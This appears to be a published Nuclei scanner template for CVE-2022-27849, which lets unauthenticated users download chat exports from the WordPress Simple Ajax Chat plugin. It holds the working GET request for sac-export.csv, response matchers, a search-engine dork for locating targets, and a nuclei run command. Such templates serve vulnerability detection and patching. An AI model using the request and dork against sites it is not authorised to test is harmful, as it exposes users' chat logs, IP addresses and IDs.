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WordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability

ID: CVE-2022-27849

Severity: high

Author: random-robbie

Tags: cve,cve2022,wp,wordpress,wp-plugin,disclosure,plugin-planet

Description

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WordPress Simple Ajax Chat before 20220216 is vulnerable to sensitive information disclosure. The plugin does not properly restrict access to the exported data via the sac-export.csv file, which could allow unauthenticated users to access it.

YAML Source

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id: CVE-2022-27849


info:
  name: WordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability
  author: random-robbie
  severity: high
  description: |
    WordPress Simple Ajax Chat before 20220216 is vulnerable to sensitive information disclosure. The plugin does not properly restrict access to the exported data via the sac-export.csv file, which could allow unauthenticated users to access it.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as user credentials or private messages.
  remediation: |
    Update to the latest version of the WordPress Simple Ajax Chat plugin to fix the vulnerability.
  reference:
    - https://wordpress.org/plugins/simple-ajax-chat/#developers
    - https://patchstack.com/database/vulnerability/simple-ajax-chat/wordpress-simple-ajax-chat-plugin-20220115-sensitive-information-disclosure-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27849
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-27849
    cwe-id: CWE-200
    epss-score: 0.00713
    epss-percentile: 0.80067
    cpe: cpe:2.3:a:plugin-planet:simple_ajax_chat:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: plugin-planet
    product: simple_ajax_chat
    framework: wordpress
    google-query: inurl:/wp-content/plugins/simple-ajax-chat/
  tags: cve,cve2022,wp,wordpress,wp-plugin,disclosure,plugin-planet


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/simple-ajax-chat/sac-export.csv'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Chat Log"'
          - '"User IP"'
          - '"User ID"'
        condition: and


      - type: word
        part: header
        words:
          - text/csv


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100eef8f77092164d68c0eebc954c49adba1f04c4265126d0dd74e692acbd229482022100fd3a211fd6a75fa36ed4e296665fd9c45db3be3e9f11907c641d0c15db016125:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

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This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-27849.yaml"

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